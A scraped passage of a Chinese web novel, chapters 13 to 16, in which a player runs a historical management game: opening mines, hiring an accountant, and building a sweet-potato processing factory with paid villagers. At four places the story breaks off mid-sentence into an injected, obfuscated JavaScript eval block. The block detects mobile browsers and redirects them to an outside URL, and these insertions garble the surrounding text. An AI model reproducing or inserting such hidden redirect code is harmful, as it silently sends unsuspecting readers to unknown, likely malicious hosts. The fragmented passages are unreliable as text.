期间张氏跑得气喘吁吁,但又不敢停,偷偷往后看去,却发现仙师额间依旧干爽,面庞也毫无红痕,走动间,举手投足都带着无法言说的仙气。 张氏心想,仙人果然异于凡人,若不是顾及她,仙师估计早就飞过去了。 继续前进了半个时辰,这才到了目的地,而这对于姜定来说,只不过几秒钟的时间。 停下来时,他赫然发现,自己和张氏进入到了一个入口处。 上面写着【初级矿产入口】。 而张氏则是毕恭毕敬地给姜定指着自己捡到矿石的位置,姜定仔细一看,发现张氏并未进入矿产入口,而是在入口附近找到了这两样矿石。 ——所以说,这是游戏的引导设计吧?用张氏捡到矿石来引导他打开初级矿产,这样有利于他后期建造经营。 姜定顿觉这游戏简直是用心良苦,没有寻常的引导,但是它却将引导融入剧情,让人沉浸其中去深刻体会。 怪不得好友能玩这么久。 姜定在心中暗自给这游戏点了个赞,随后径直点开入口,很快,金光一闪,他和张氏二人被传送进初级矿产地图中。 而张氏则是看着仙师一挥衣袖,几乎瞬间,她被裹挟着进入一处未曾看到的地域,只见这地风貌是未曾见过的独特——裸露的岩石,焦黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841560|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土地,预示着这地并不寻常。 而此刻,姜定则是看着眼前的提醒,心里有底了。 【初级铁矿×1,初级黏土矿×1,初级煤矿×1。】 按照游戏介绍,初级矿产是一开始游戏赠送的过渡矿产,如果往后发展的话,仅靠着初级矿场是不够用的,必须另外寻找新的矿脉才行。 看到这三条矿脉,姜定觉得,是时候再招收一批工人了。 想到这游戏的真实性后,姜定突然有个想法。 ——他完全可以利用学堂,给游戏内的工人输入现代制造知识啊! 比如铁的采集和冶炼,铁矿的应用,以及从黏土中分离制作石灰,石灰粉的配比这些。 不过,前期工人数量有限,他必须先想好先点哪个科技树才行。 思索片刻,姜定决定将源头工厂设置在山上,次一级的制作厂,分散下去。 具体来说,就是前期将冶炼厂放在山上,像是制造厂,则是可以放在山下,以便招收更多工人,也更有方便售卖产品。 对了,得看看他派出去游说的里正目前任务完成得怎么样了,毕竟能够保全更多劳动力,更有利于他的发展。 点开雇佣界面,姜定注意到里正的任务显示完成,且从地图上来看,此人正朝着他赶来。 姜定关闭雇佣界面,想到之后要做的事,头一次觉得缺少更高端的人才。 ——要是有能挑得起大梁的精英打工人就好了,毕竟他只能说负责寻找资料,再利用学堂输送过去,而对于如何安排对应的人学习内容,再负责分配人员调动,这可是个费心思的活。 对了,会计的事不能拖了。 将张氏打发走后,里正到达山下,游戏提醒里正求见。 姜定二话不说,立即召见了对方。 随着里正前来的还有一个妇人,这人正是里正娘子。 姜定百无聊赖地听着里正的报告,顺带点开里正娘子的详细信息,本没有太多期待,但是在他看清楚这人的属性后,顿时狂喜。 只见上面清楚地写着,【属性:会计。】 好嘛,这简直是瞌睡了就给送枕头啊。 二话不说,姜定立即选择招募里正娘子,委托她成为会计。 至于工资,会计的最低工资为300文一日,再高的不再表述,反正他最多只给300文。 从里正的对话里姜定算是听明白了,——附近的劳动力保证存活了,但是更远地方的劳动力无能为力。 姜定还算满意,毕竟他前期也用不了那么多工人,只要说附近劳动力还在,那他徐徐图之,休养生息,总能苟过去。 给里正工资结算清楚,姜定顺带任命他为教管先生,暂时负责监督村民们去学堂学习的任务。 任命完后,姜定没闲着,先从某权威网站寻找铁矿黏土的冶炼视频,随后这才将这些视频一一传输至学堂。 “还是人才不够多啊!缺个能替我下山做事的一把手。” 眼下劳动力确保存活,其实可以建造加工厂,让这些劳动力都利用起来才对。 姜定叹息,头一次深刻了解到“求贤若渴”这四个字的意思,刚想让这两人离开,却见里正娘子的脑袋上正冒出【......】。 13.第13章 精英 ?这意思是有新的剧情了? 姜定赶忙点下去,就见里正娘子对着他盈盈一拜。 【里正娘子向你推荐了新的工人,是否查看?】 点开推荐的工人,姜定两眼放光,——精英!绝对的精英打工人啊! 此人信息如下: 【姓名:祝应 年龄:29 性别:女 智商:99 魅力:-99(处于被打压状态) 特殊属性:全能人才,哪里需要往哪搬。】 姜定自动忽略了-99的魅力,只顾着看其余属性了。 尤其是那个特殊属性,吸引得他心痒痒。 不行,这等人才必须得过来替他效力! 话说里正娘子一路赶来,等到见到那位仙师时,不由地愣住了。 ——果然,相公没骗他,仙师只需往那里一站,没人会怀疑他的身份。 本以为仙师可能不愿意收留她这个上了岁数的妇人,岂料对方却提出让她当账房先生。 里正娘子忍不住心头巨震。 ——算数是她当年最得心应手的技能,先前替那位效力时,她也确实当过很长一段时间的账房先生,本以为这个技能会被她带入坟墓时,谁都没想到,她竟还能从对方的口中听到这个要求。 所以说,仙师是如何得知她擅长算数的? 里正娘子好奇之余,脑海内却不由自主想到了一人。 ......那样聪慧的小娘子,若不是不许女子为官,她定会成为大炎朝最为年轻的女官。 当年主仆二人一别就是十五年,她回了斗坡村,小娘子被孤身送往庆山寺。 当年此事牵连过多,为了活命,她再也不提过往。 先后生下三个孩子,本以为这辈子便如此时,却遇到了仙师。 仙师先前所作所为,似乎吹散了她胸口的憋闷之气。 ...若是连她都能去做自己想做之事,那小娘子是否也能如此? 但她只敢想想而已,毕竟当年之事闹得太大,她害怕会给小娘子带去麻烦。 而此时,却有一道声音传入脑海。 “现在急缺有才之士,你可有推荐?” 那谪仙似的清冷声音,令她混乱的心智清明了几分。 不等开口,仙师似乎看穿了她的顾虑。 “不需要有顾虑,你尽管推荐,若有难处,我自然会去解决。” 里正娘子猛地抬头,看向仙师,只见那位面容无悲无喜,但刚才那话却死死地缠着她。 犹豫片刻,里正娘子大着胆子向他推荐自家小娘子。 “若仙师真心求贤的话,我倒是有一推荐,此人原是黎州礼部侍郎家小娘子,名为祝应,聪慧过人,此人目前在明州崇县的庆山寺内。 不过寺庙内对祝应的看守很是严格,若是普通人去,绝无将她带走的可能,如果要招收小娘子的话,只能您亲自前往,带走她才行。” 姜定蹙眉,看着对话发呆。 这新推荐的人距离他有些远啊,可惜,他在赚够一万两前不能离开此地,不然他分分钟传送到崇县招收人才去。 叹了口气,姜定只能认命了。 “过些日子,我便去接应她。” 留下这话后,仙师消失不见,而里正娘子则是忍不住颤抖。 ——多少年了,终于,祝小娘子能重见天日了。 别人若是说能救小娘子,她是一万个不相信,但既是仙师所说,那便无作假的可能。 充满敬意地对着仙师弯了弯身子后,里正娘子擦了擦眼泪,跟着里正前往住所,先收拾一番自己,随后便要替仙师计算账本了。 里正在得知自家娘子的工资竟然比自己高出100文后,郁闷了半天。 但是在看到自家娘子快速拨动算盘的手后,他又觉得没那么郁闷了。 ——不过,奇怪,娘子是何时学会这算账的手艺的? 里正疑惑询问,均被里正娘子敷衍过去。 而姜定则是再次召见了张山。 “您的意思是,让我下山在村子里建造番薯加工厂?” 姜定无奈点头。 如果有更合适的人话,他倒是不会用张山,但是没办法,现在手头只有张山的忠诚度是最高的。 想来想去,这事也没什么难度,姜定索性将建设番薯加工厂的任务交给他。 “具体的工作内容我会放在学堂,你尽快掌握,之后带着钱下山去建造工厂。” 姜定临时去找了番薯加工厂的内容,随后复制到了学堂空白面板上。 其中,番薯加工厂有三个方向: 一,地瓜干加工。将地瓜清洗后去皮切片,蒸熟后晾晒或人工烘干。这物生产出来后,可便于携带,且更方便储存。 二,地瓜粉条加工。将地瓜洗净磨碎,提取淀粉,沉淀过滤后得到淀粉,随后将淀粉和水按照对应比例混合,加入明矾,搅拌成固态液体后,用漏勺挤压进入热水中凝固成粉条。 这物干燥易于携带,且做法多样,可以作为配菜,也可以作为酸辣粉等小吃的原料使用。 三,地瓜泥加工。在地瓜泥中加入糖和牛奶,可以作为糕点,馅料。不过这只适合在本地现做现卖,因为保存属实是太难了。 等捋清楚思路后,姜定突然发现了一个漏洞。 ——地瓜干可以当干粮售卖,这个简单,但粉条就不行了。 必须得先推广粉条相关美食,不然光是做出来粉条,这些人不会吃,自然不会去购买了! 姜定深呼一口气,先去找粉条相关的美食,例如酸辣粉,粉蒸肉,肉末粉条包子,蚂蚁上树,猪肉炖粉条等,之后连带着做饭视频,全部传输到学堂内。 除了这些还不够,必须得让这些人吃到这些美食,他们才会主动学习,去复刻这个味道,随后才能带动消费。 姜定点开厨房,看着待解锁的菜单一阵肉疼。 ——天杀的,为啥菜单这么贵啊! 一份菜单高达5000铜板! 姜定深呼,再深呼,先后解锁了最为经典的三个菜单。 分别是主食类的酸辣粉,炒菜类的蚂蚁上树,以及炖菜类的猪肉炖粉条。 为了推广粉条,姜定在定价的时候,也和野菜包子一样,利润只收一个铜板。 肉沫酸辣粉:6文,蚂蚁上树:12文,猪肉炖粉条:18文。 菜单做好后,姜定又点开学堂,看到张山正在学习加工厂知识后,这才放心下来。 而游戏内,众人在干完今日的工作,到了吃饭点时,却惊喜的发现有新菜单了! “肉沫酸辣粉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856747|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6文,蚂蚁上树:12文,猪肉炖粉条:18文。这三个都是什么菜?” 有着急的人先念了出来,还有人看着菜价有些犹豫。 “这价格比野菜包子要贵不少,我还是继续吃包子吧!” 话刚说完,他便掏出两枚铜板,塞进去,很快,拿出来包子。 也有其他人有不同见解。 “都吃了三个多月的包子了,这个价格也不算贵,我点个别的尝尝。” 他看来看去,点了最为保守的酸辣粉。 刚将六个铜板塞进去,几乎片刻,窗口处就多了一碗热气腾腾的酸辣粉。 只见酸辣粉飘满红油,上面放着不少肉沫,还有零星的芫荽点缀。 “嘶——这个味道!” 嗅了嗅鼻子,辣椒霸道而又刺激的味道瞬间飘散开来。 周围还没点饭的人眼巴巴地看着张二。 这酸辣粉到底好不好吃? 而张二此时,早就拿着筷子,大口嗦粉了。 这酸辣粉一入口,他先被那酸辣味征服到了,而名为粉条的这物,倒是稀罕,他从未吃过。 入口Q弹有嚼劲,粉条吸收了汤汁,很是入味。 筷子夹一颗油炸花生入口,配着酸辣汤,甚至连花生的滋味都浓厚了几分。 像张二这类村人,平时哪里吃过这样重麻重辣的酸辣粉,素日都吃得清淡,头一次吃酸辣粉,顿觉先前过得日子也忒没滋没味。 见他吃得香甜,终于有人忍不住询问,“张二,这酸辣粉到底如何?” 可惜张二吃得满嘴红油,根本无暇回应。 别的人越看口水越是忍不住分泌,期间终于有人受不了了,果断也点了份酸辣粉。 也有人好奇其他两样,分开着点了。 等到吃完了后,众人这才舒服得直叹息。 ——这三个菜,各有各的滋味,肉好吃,但那粉条竟然也不差! 就是不知道这粉条贵不贵?若是平时炖肉炖菜能放点粉条,想必也是异常美味的。 众人心里不自觉产生了这样的想法,而在学堂,张山则是越听神仙的传授,越是瞪大了眼睛。 没想到番薯竟然有这么多用途,神仙给番薯叫地瓜,他也就跟着叫了。 地瓜干对于他来说是最容易被理解的,毕竟当下东西吃不完的时候,都会选择晾晒成干,以后蒸熟或者煮熟了就能继续吃。 而粉条的制作却有些新奇。 尤其是加入明矾这物。 他知晓明矾是用来止泄的,倒是不知道这物竟然还能做粉条用。 疑惑归疑惑,张山默默将这些知识全部记在心中。 既然仙师让他下山去建造加...加工厂(是这么叫的),那就说明仙师还是最为信任自己。 张山握了握拳头,眼神充满斗志。 虽说不知道建造这个加工厂有什么用的,但是仙师必定是走在他们前面的,他只需要乖乖听话就行了。 等看明白这些后,张山先去里正娘子那边领取此次下山所需的钱币。 等到钱拿到手,他这才急匆匆下山。 而另一方面,姜定在开荒的工人中选择了忠诚度最高的一个工人,让他下山去招揽一批采矿工来。 日薪的话,因工作辛苦,游戏强制最低日薪为300文。 14.第14章 前所未闻 现在经历得多了,姜定对这个雇佣价格都淡定了几分。 而被他派出去的人,不是别人,正是张二。 虽说开荒工作不累,还有不少美食能品尝,但是相比于自己一行人在山上干活享福,张二更想带着村人过来给仙人效力。 ——等大家来了就知道仙师是个天好的神仙了!毕竟这里有吃有住,每天工作内容轻松,简直是找也找不到的好差事! 更别说这次仙师给开300文一日的高薪,让他去找健硕的男丁来下矿。 先前的时候,他也知道不少赚钱的男丁会去主动下矿卖命,但那下矿仅有100文工资,相比于仙师给开的高薪,简直不值一提。 更别说仙师这边工作时间可比外面短多了! 且在这特殊时期,卖力气就能赚钱的活实在是太难得了! 张二越想越激动,被仙师传送出去后,没耽误时间,快速小跑着赶往自家村子。 而另一处,张山则是带着钱票,在选择了村庄距离居民居住区稍远一些的位置后,这才去招揽附近的村人过来盖房子。 除了盖房子以外,制作加工番薯的工具也必须得一并做了。 前几日那神仙教学的时候说了,——需要找铁匠制作数口大锅,找泥瓦匠制作石罐,还要找本村妇女制作笼屉,大漏勺等等。 村里能够盖房子的手艺人不多,只有三个,远远达不到仙师要求尽快完工的要求。 泥瓦匠和会编制笼屉,漏勺的妇人倒是足够。 就是铁匠人手不够,另外,除却人手,铁矿严重不足。 人手得他去找,至于铁矿石,就得让仙师来处理了,毕竟在大炎朝,铁是被朝廷把握的,普通人压根没可能能弄到铁矿石。 汇报铁矿石稀缺,得等他招完人,加工厂开始建造后,他才能抽空回去一趟。 既然目前人不够,看来,他只能去隔壁村找手艺人了! 在听说本村来了个杨家书馆的杨延后,张山没犹豫,立即拜托对方写下一则招工启事。 杨延被张山找到时,正趴在地上,往炉灶里塞番薯。 见张山来了,脸上一红,立马起身,若无其事地拍了拍被土沾染上的衣袖。 随后咳嗽一声,声音不太自然。 “张猎户,你怎么来了,有事吗?” 张山迅速将自己的来意告知对方,杨延微微沉思后,立即去里屋找到了纸笔,研磨后替他写下一张招工启事。 “日100文?这工钱可不低,这是给哪位豪绅建房子?” 杨延有些好奇,给这么高的工钱,说明是个比较着急的活,但是听张山的意思,这房子是要建在村子里? ——这就很奇怪了,这年头,还有谁钱多得不够烧,非得要在村里盖房子的么? 张山倒也没瞒着他。 “是给仙师建造加工厂。” 仙师?一个人的名字? 反正不可能真存在神仙。 至于加...加工厂? 这是个什么玩意?没听说过。 杨延蹙眉,有心再问,但是张山无心再多说。 等他拿到招工启事后,就像一阵风一样快跑着离开了。 留下杨延没问出来的话还卡在喉咙里。 招工启示一贴,不仅斗坡村轰动了,就连附近的几个村落,在得知建房子竟然给出了日100文的高薪后,各个按耐不住,纷纷前往斗坡村。 先前番薯产量优秀,分到各家各户的口粮虽说不是特别充足,但是也绝对不会说饿死人,村人们正打算有机会去县城里一趟,将手里的钱都换成家中最需要的食物,肉类以及调味料这些,有的村庄每家每户分到的番薯量比较少,所以不少村人只能在栽种下一轮番薯前,去县城购入一些粮食。 购买物资就需要花钱,因今年是个灾年,所以钱财花得速度额外快。 各家各户手头都不宽松,正发愁这个年可能要过得辛苦一些时,水灵灵的高薪工作就来了。 日100文! 内容是去给盖房子! 顿时,有手艺的人忍不住了,各个带好工具,饭都顾不上吃,急匆匆地前往斗坡村,生怕这等好事没了。 而盖房子也少不了给运输砖瓦的小工,不少人抱着碰运气的心态,纷纷赶过去。 告示才发布不久,张山就惊讶地发现,来得人早就远远超过了盖房子所需的人数! 不少人挤在一起,生的,熟的面孔都有。 看着这么多乌压压的人,张山瞬间有些紧张,不过在上次完成仙师让他回村招人的任务后,他整个人大胆了不少。 咳嗽一声,张山慢悠悠开口。 “这建造加工厂是大事,所以此次招工,优先招纳有经验的。 超过五年经验的,站在我的右手边。” 话音刚落,哗啦一下,不少人站在了右边。 张山粗略一扫,竟然有二十人。 二十人,人倒是够了。 “铁匠有经验五年以上的么?” 只听哗啦一声,站出来4个人。 张山点头,“你们二十四人一会跟我过来,我带你们过去。 下面我说几点最重要的事。” 不仅仅是被选中的人竖起耳朵,就连那些未曾被选中的人,也纷纷噤声,想听听张山要说的重要的事。 毕竟这次没机会,指不定下一次就有机会了嘛! “日100文,指的是4个时辰的工作薪资,但建造加工厂这事比较着急,所以咱们每个人的工作时间可能要高于4个时辰。” 话音刚落,被选中的二十四人连忙表示理解。 “张猎户,多干一会不碍事,最主要的是建造加...加工厂最要紧嘛!” 虽说不知道加工厂是什么玩意,但是这些人都知道,这高薪工作万万不可丢了! 在听到张山的话后,他们意会到,张猎户这话可能是在给自己一行人打预防针了。 ——也是,日100文的工钱哪能拿得那么简单嘛,想必是工作时间会延长不少。 不过在这个时候,有钱赚就已经很好,挑挑拣拣小心到最后连口汤都喝不上。 本以为张山会露出满意的微笑,谁知道张山瞪大眼睛,神色不明。 “咱们虽说会超过4个时辰,但是相应的,每超出一小时,工钱按照原有工钱的1.5倍发放加班工资。” 至于张山为何会了解加班工资这一说法,还得是他从学堂里学习到的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862185|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前还忐忑的二十四人顿时噤声,瞪大眼睛,看向张山的面孔充满了迷惑,似乎是没听明白他说了些什么。 而其余的人,也懵了。 啥?超出4个时辰后,竟然还要给多发工钱? 真有这么好的事? 二十四人也懵了。 本都做好了多干活的准备,岂料一块馅饼毫无商量地就砸到了他们的头上。 “这话......可当真?” 其中有个人讪讪开口,眼神中带着细微的讨好。 张山点头,“自然为真,工钱暂定每日发放一次,等下工后,来我这里领取工钱。” 众人还迷迷糊糊之际,张山领着这些人来到预备动工的地方。 “谁能看懂建筑图?” “我能。” 二十四人中,有个中年人站了出来,张山将图交给他,让他按照仙师给的图盖加工厂。 这人叫张百技,手艺不错,前几年的时候经常带领着兄弟们,去其他县城替富商们建造宅邸,手头功夫确实不错。 等展开建筑图后,张百技先是微微蹙眉。 ——这房子,怎么设计得这么怪啊。 内部格局完全不同于他见过的任何宅邸格局,不过好的是,施工难度并不高。 张百技将图郑重卷好,塞进胸口。 “图我看了,张猎户,我会严格按照图上建造的,咱们今天开工吗?” “自然。” 张山一天都等不了,毕竟早早完成仙师交代的任务他才能心安。 很快,在张百技的带领下,加工厂建设总算是动工了。 除却加工厂动工之外,先前张山找到的制作加工工具的人也开始了。 做陶瓷大盆的,编织筛网的,编制笼屉的,忙得不可开交。 一天时间过得飞快,等到戊时时,今日工作总算结束。 工人们多工作了一个时辰,所以多工作的一个时辰必须得按照加班工资计算。 张山经计算得出,应该多付工人38文铜板。 而这些工人,在拿到138文时,各个都是一副不敢置信的模样。 ——本以为张山也就说说而已,谁知道,对方竟然是来真的? 混混沌沌地接收了今日工钱,等飘到家时,众人这才觉得怀里揣着的铜板热得烫人。 张百技飘飘然地回了家,自家娘子体贴地给他脱衣,又给他去端晚饭。 ——晚饭是番薯混着粟米熬粥,倒是神奇,加入番薯后,就算粟米放得不多,粥也稠乎乎的,吃起来味道香甜极了。 “我看相公今日没回家,便知道相公入选了,东家待人如何?工钱真是100文么?” 白技娘子关切询问,张百技扫了一眼自家娘子,随后掏出揣在胸口的铜板,让她亲自过手。 “东家待人极好,我从业多年,还未曾遇到这样好的人家。” 百技娘子接过荷包,等到数完了铜板后,脸上是藏不住的欢喜。 “怎地还比100文要多?难不成是东家给的赏钱?” 张百技摇摇头,将白天张山的那番话一五一十地告诉了自家娘子,而百技娘子则是听得瞠目结舌。 加...加班费?她从未听过这词! 15.第15章 铁 别说自家娘子没听过了,就连张百技他也未曾停过这话,不过不管什么缘由,只要赚钱多了,对他而言都是好事。 而百技娘子则是心怀感激。 今年是灾年,本以为全家日子都要不好过时,竟没想到,丈夫还能找到这般日薪的工作,......不过,家里用钱的地方实在是太多,前些日子,她家婆摔伤了腿,天天吊命的药钱都是他们从前攒出来的家当里花,现在眼看着存款告急,除却家婆的药费,还有一个老人,两个孩子需要抚养。 若是她也能像丈夫这般找到一份工作就好了,哪怕赚得少,蚊子再小也是肉呀。 可惜这年头女人能干的活实在是太少,先前大炎朝还算安稳时,女人最多也就只能干点替人缝补衣裳,浆洗衣物的活计,且大都是替那些没有娘子的单身汉缝补浆洗,一般家里能过日子的,都不会让自家娘子去那男人堆里去败坏名声。 除了出去抛头露面赚钱外,女人大都负责在家中织布,以供全家人全年的布料来源,还有便是养鸡种菜,主打负责家中最基础的需求。 百技娘子娘子先前替丈夫找到高薪工作的欢喜淡了几分,那张苍白惨淡的面庞隐没了笑意,转而拿着碗筷出去洗碗。 昨日干活的二十三人,家中和张百技大差不差,也是一般高兴。 等到第二日上工时,这些人全都早早来了,各个精神抖擞。 张山先前已将图给了张百技,眼下也没必要再呆在这里,他转身又去了泥瓦匠和村中妇人那边,确定各项都处于正常状态后,这才极速奔向潜灵山。 ——必须得回报仙师关于铁矿缺乏的事了。 张山风尘仆仆往回赶路时,姜定正在研究新出现的功能。 “远距离通话?怎么用的?” 等他按照游戏提示,点开雇佣工人界面后,选中张山,顿时就看到他名字下面多了一个【远距离通话】的按钮。 抱着试一试的心态,姜定点了下去,而后屏幕中出现了一个Q版的张山。 小人正做出疾跑的动作,还挺逗。 点开张山的界面,结果发现对方的消息框弹出来一句话。 姜定蹙眉看下去,这才发现对面说的是铁矿缺乏的事。 ——上次他让张二下山了一趟,今早张二倒是带着一群劳动力上山了,不过也就刚开始采集矿石,要想采集足够量的矿石,怎么也得过了今天再说。 对了,不知道这对话框能不能直接将物资传送过去,毕竟来回跑腿实在是太费劲了。 抱着试试看的心态,姜定点开对话框,赫然在里面发现了一个传输物资的按钮。 ——太好了,看来是可以! 这样一来,游戏就更方便了! 姜定先传输过去一块铁矿试验,随后对方显示接收到了,他这才放心。 等一会他就回存档点睡觉,进入明天后,再将采集到的铁矿传输给张山。 而还在奔跑的张山在听到那声熟悉的清冷声音后,顿时惊讶地停下脚步。 等会,他好像听到仙师的声音了? 像是不确信一般,张山尝试着开口。 “仙师?仙师?是您和我说话?” 四周静悄悄一片,张山摇摇脑袋,再看看四周,确信没看到仙师的踪影。 算了,想必是他听错了,而没等他抬腿继续奔跑,脑海内突然多出来一道声音。 “跑什么?我有话和你说。” 张山:?莫不是真是仙师? 脑内的声音没停,“你着急回来,可是建造加工厂有不顺利?” 张山震撼,赶忙回,“仙师果然神机妙算,是因为缺铁矿,所以小人特意回来禀告仙师,别的方面倒是无恙。” 他说完这话后,仙师沉默一瞬,随后慢悠悠道: “你先回去,铁矿我到时候自会给你。” 张山有些迷糊,心想到时候应该还是需要他上山一趟去取,或者有人下来给送,顿时毕恭毕敬道:“那......仙师小人先回了,到时候您再喊我就成。” 转身欲走之际,却察觉到兜内沉甸甸地往下坠。 ?等他伸手摸进兜内后,这才发现不知何时,兜里多了一块黑漆漆的石块。 刚想问这玩意是什么东西时,那清冷似谪仙的声音飘了过来。 “可有收到一块铁矿石?” 张山顿时瞳孔地震,是了,仙师都有能耐直接送他们这些人瞬移出山,现在送个铁矿不也是手到擒来的事嘛! 他刚才真是,完全陷入了凡人思维啊! 顾不得感慨,他连忙回复收到了,而仙师却没了回复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868682|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过也能理解,仙师日理万机,想必十分忙碌,既然仙师都说了铁矿他负责,那张山满心欢喜地原路返回。 而姜定则是早早回去按下了下一天。 日月斗转,新的一天来临了。 【你已存档,这是你来到大炎朝的第五天,你的工人替你采集到了不少矿产,快去看看吧!】 听到游戏播报,姜定则是飞速来到初级矿产入口,点击进入,迎面而来的就是铺天盖地的提醒。 【你的工人为你采集到了铁矿石×15000个,黏土×13000,天然钻石×3。】 可以啊 ,收益不错,竟然连天然钻石都能弄到一点,要知道不少机械的钻头都必须要用到钻石呢。 姜定心情不错,昨天张二一共给他带来了三十人,一人每天能替他挖掘近1000块矿石,每块矿石的回收价格是10个铜板,完全能够覆盖工人的工资,可惜新手矿产产量是有限的,再加上目前的建造开始频繁使用铁矿石,这样算下来后,之后若不寻找新的矿产资源,很快发展就会陷入瓶颈。 不过按照这类游戏的套路,等到发展到瓶颈时,应该会有一个强制NPC带着他升级矿产。 姜定完全没太纠结这问题,转而点开张山的对话框,拿出10000块铁矿选择传输。 游戏提醒他需要额外传输木料100块,用作装铁矿的容器,姜定一并将木料选中,点了确定传输。 而张山此刻正在加工厂附近看着施工。 脑内仙师淡淡开口。 “东西到了,你找个空地方。” 张山惊讶,这才一天,仙师就弄到了铁矿? 边想,张山边挪到一处宽阔的领域,等确定此地无人后,这才恭敬回复。 “仙师,小人已找到一处地方,只是不知该如何配合仙师?” 话音刚落,只见一道金光闪过,眼前的空地竟是瞬间多了数个木箱,而那木箱内,则是摆满了昨日他收到的那种铁矿。 张山心头震撼,想说的话都卡在了嗓子里。 这么多的铁矿? 要知道除非是官方,就算是私人也很难弄到这么多铁,也得亏张里正不在这里,不然他肯定害怕得双腿发抖。 ——这么多的铁矿要是被上头知道了,可是要杀头的! 16.第16章 招工 张山多少还是缺见识,感慨一番后便叫工人们将这些铁矿石全部拉回去,纷纷运送到了铁匠工作的地方。 而打铁的匠人,则在看到这大批量的铁矿后,纷纷失语。 这四人和张山不同,是晓得这其中的利害的。 等到负责搬运的人离开后,李铁匠先忍不住开了口。 “天老爷,他们是从哪里弄来这么多铁的?这可是......”边说,他边伸出手,做了个抹脖子的动作。 本村的张铁匠则是绕着被运送来的铁矿来回走来走去,看了好几遍这才慢慢道:“铁矿质量很好,比先前我炼过的都好。” 听张铁匠这样说,其余三人也凑上来查看矿石,各个惊讶。 “确实,这铁矿好啊,我也头一回见这样的好东西。” “好矿归好矿,咱哥几个还真要做这杀头的事?” 这话问住了四人,正犹豫之际,其中一个瞎了一只眼的铁匠开口道:“我不管你们干不干,反正日薪300文,我愿意干。 这活计是杀头,但没了这工钱,我全家现在就要死了。” 这人是隔壁村的铁匠,十几年前打铁烧坏了一只眼睛,现在村里人都叫他独眼铁匠。 他家里有父母,妻子因生产卧病在床,孩子有四个,不是灾年的时候,日子都过得很辛苦,更别提现在了。 独眼铁匠心头发涩,他想到了自己昨日带着300文工钱回去时,全家人那欣喜的模样。 这可是日三百文!他作为铁匠,最辉煌时也不过区区一百文,更何况现在的东家肯出这么高的价格! 张山当时招他们时,得知是一百文后,众人都很兴奋,但让人没想到是,张山说一百文只是基础小工的价格,对于他们这种技术工种,日薪价格竟涨到了300文! 这是久灾后,好不容易才有的一丝希望,他不想打破这份希望...... 三人朝独眼铁匠看过去,就看到他抿着嘴,那张沧桑黢黑的老脸面无表情,不等他们三人开口,独眼铁匠一声不吭地运着铁进熔炉。 三人心里都不是个滋味。 ——其实他这话说得也对,这世道,无非是先死后死的区别,相比于后期被发现后杀头,也好过现在全家人饿死在这灾年。 没人再去说话,反而各个积极去干活。 顿时,院子里热气腾腾,叮当叮当的声响混合着热气,飘散在小院上空。 加工厂浩浩荡荡开工了,在众人的努力下,用了不到二十天,全部完工。 张山中途倒是给仙师汇报过进度,不过对方都没回应他,到后期他也琢磨出味来了。 ——想必是自己烦到了仙师了。 也是,仙师事务繁忙,哪里有时间搭理自己,这建造加工厂一事对他而言是大事,但是对仙师而言,只不过是日常中最普通,最不值得一提的小事而已。 不如等一切都尘埃落定后,他再去汇报。 下定决心后,张山索性全身心投入建造中,平时他除了关心加工厂的建造,还率先收购了一批地瓜。 这批地瓜收购价格不算便宜,毕竟今年灾年。 不过张山看得开,等到第二批、第三批地瓜种植跟上后,往后的收购价格只会越来越便宜。 忙忙碌碌,直到地瓜加工厂建造完毕。 ——屋内一切都按照仙师给他的图纸建造。 垒起来的灶台上是数个大铁锅,铁锅上,一部分挂着固定在上方的铁漏勺,另一部分则是摆满了蒸锅,除却这些以外,房内还摆放着数个白瓷大罐子,里面被冲洗得干干净净,现在正敞开晾晒。 而屋外,则摆放了不少晾晒架,码放得整齐。 眼看准备事务完毕,张山想起仙师的嘱咐,顿时了然于心。 ——要开始招收地瓜加工工人了,薪资的话,张山决定还是给日100文,只不过这次的工作内容相比于先前要简单轻松一些。 思索片刻后,张山觉得还得去找杨延写一张招聘单子来。 